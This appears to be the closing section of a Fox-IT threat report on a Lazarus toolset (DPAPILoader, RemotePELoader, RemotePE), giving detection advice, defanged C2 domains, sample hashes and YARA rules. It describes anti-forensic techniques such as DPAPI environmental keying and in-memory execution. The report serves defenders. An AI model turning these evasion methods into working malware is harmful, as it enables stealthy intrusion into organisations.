At the time of writing, several C2 servers we identified never returned a payload during our emulated sessions, though some remain live. Others that had previously delivered RemotePE appear to no longer do so. Whether this reflects the infrastructure going dormant, being abandoned, a change in C2 protocol, or the actor detecting unexpected connections is unclear.
The DPAPILoader, RemotePELoader, and RemotePE toolset represents a deliberate effort to minimise forensic footprint. A RemotePELoader sample from disk uploaded to VirusTotal is useless without the victim’s DPAPI keys. Furthermore, by combining environmental keying via DPAPI with fully in-memory execution of the final payload, the actor ensures that forensic imaging of the disk will not yield recoverable artifacts of RemotePE.
The actor-in-the-loop delivery model and the toolset’s low detection rate (neither RemotePELoader nor RemotePE appeared on VirusTotal prior to this publication) suggest this toolset may be reserved for high-value targets where long-term, stealthy access is the objective, consistent with this Lazarus subgroup’s known focus on financial and cryptocurrency organisations.
Defenders should focus on host-based detection. The most reliable indicators are DPAPI-encrypted blobs in unexpected directories, in our case this was the DeviceMetadataStore directory, though this can vary. Another indicator is to look for suspicious DLLs masquerading as legitimate Windows services or sideloaded DLLs.
For network-based detection, SNI fields and DNS queries for known C2 domains are the most actionable opportunities. Pivoting on Namecheap shared hosting infrastructure also proved effective in identifying additional malicious C2 servers during our investigation. Organisations with TLS inspection can detect the characteristic cookie fields and JSON keys, though care should be taken to avoid false positives given the traffic’s close resemblance to legitimate Microsoft traffic.
We are sharing the samples, including decrypted versions that would otherwise remain inaccessible due to environmental keying, both for preservation and to help defenders detect and respond to this toolset. YARA rules and IOCs are provided below.
If you have any questions or need assistance based on these findings, please contact Fox-IT CERT at cert@fox-it.com. For urgent matters, call 0800-FOXCERT (0800-3692378) within the Netherlands, or +31152847999 internationally to reach one of our incident responders.
| Domain | First seen | Last seen |
|---|---|---|
| livedrivefiles[.].com | 2023-07-17 | 2025-07-27 |
| aes-secure[.]net | 2023-09-18 | * |
| azureglobalaccelerator[.]com | 2023-09-18 | * |
| msdeliverycontent[.]com | 2024-02-19 | 2026-05-09 |
| akamaicloud[.]com | 2024-02-19 | 2025-02-14 |
| intelcloudinsights[.]com | 2024-04-13 | 2026-04-23 |
| devicelinkintel[.]com | 2024-08-16 | * |
| Type | Indicator | Comment |
|---|---|---|
| file.name | Iassvc.dll | Filename used for DPAPILoader |
| event.name | 554D5C1F-AABE-49E4-AB57-994D22ECED28 | RemotePE specific event name |
| digest.sha256 | Comment |
|---|---|
| 4f6ae0110cf652264293df571d66955f7109e3424a070423b5e50edc3eb43874 | DPAPILoader (Iassvc.dll) |
| aa4a2d1215f864481994234f13ab485b95150161b4566c180419d93dda7ac039 | DPAPILoader (wmiclnt.dll) |
| 159471e1abc9adf6733af9d24781fbf27a776b81d182901c2e04e28f3fe2e6f3 | DPAPILoader (sspicli.dll) |
| 7a05188ab0129b0b4f38e2e7599c5c52149ce0131140db33feb251d926428d68 | RemotePELoader (decrypted from disk) |
| 37f5afb9ed3761e73feb95daceb7a1fdbb13c8b5fc1a2ba22e0ef7994c7920ef | RemotePE (2023-07-04) |
| 6b33d20196267b0d64bca815ca863558d26b17cee77caf62a6cce8eae555ac8d | RemotePE (2023-10-17) |
| 62e040a32aac2d2faa8d2bffa2cf7ab662228cebf9bb78eaa0a633c0b729d119 | RemotePE (2024-04-18) |
| 710f15302859c7af1c1e25219d704841b3fdbc48f16a5a574d5ab6cf4f4842e8 | RemotePE (2024-05-11) |
rule Lazarus_DPAPILoader_Hunting {
meta:
description = "Hunting rule to detect DPAPILoader, a loader used to load RemotePE."
author = "Fox-IT / NCC Group"
strings:
$msg_1 = "[!] Could not allocate memory at the desired base!\n"
$msg_2 = "[!] Virtual section size is out ouf bounds: "
$msg_3 = "[!] Invalid relocDir pointer\n"
$msg_4 = "[-] Not supported relocations format at %d: %d\n"
$msg_5 = "[!] Cannot fill imports into 32 bit PE via 64 bit loader!\n"
condition:
any of them and pe.imports("Crypt32.dll", "CryptUnprotectData")
}
rule Lazarus_RemotePE_C2_strings {
meta:
description = "RemotePE strings used for C2."
author = "Fox-IT / NCC Group"
strings:
$a = "MicrosoftApplicationsTelemetryDeviceId" wide ascii xor
$b = "armAuthorization" wide ascii xor
$c = "ai_session" wide ascii xor
condition:
uint16(0) == 0x5A4D and all of them
}
rule Lazarus_RemotePE_class_strings {
meta:
description = "RemotePE class strings."
author = "Fox-IT / NCC Group"
strings:
$a = "IMiddleController" ascii wide xor
$b = "IChannelController" ascii wide xor
$c = "IConfigProfile" ascii wide xor
$d = "IKernelModule" ascii wide xor
condition:
all of them
}
rule Lazarus_RemotePE_DPAPI_Encrypted_config {
meta:
description = "Detects RemotePE DPAPI-encrypted config on disk"
author = "Fox-IT Security Research Team"
condition:
filesize == 3094
and uint32(0) == 0x00000001 // DPAPI blob version = 1
and uint32(0x8E) == 0x00000B40 // dwDataLen = 0xB40 (padded config)
}
Listing 7: YARA rules for DPAPILoader, RemotePELoader and RemotePE
︎︎︎︎︎︎︎︎︎︎︎︎
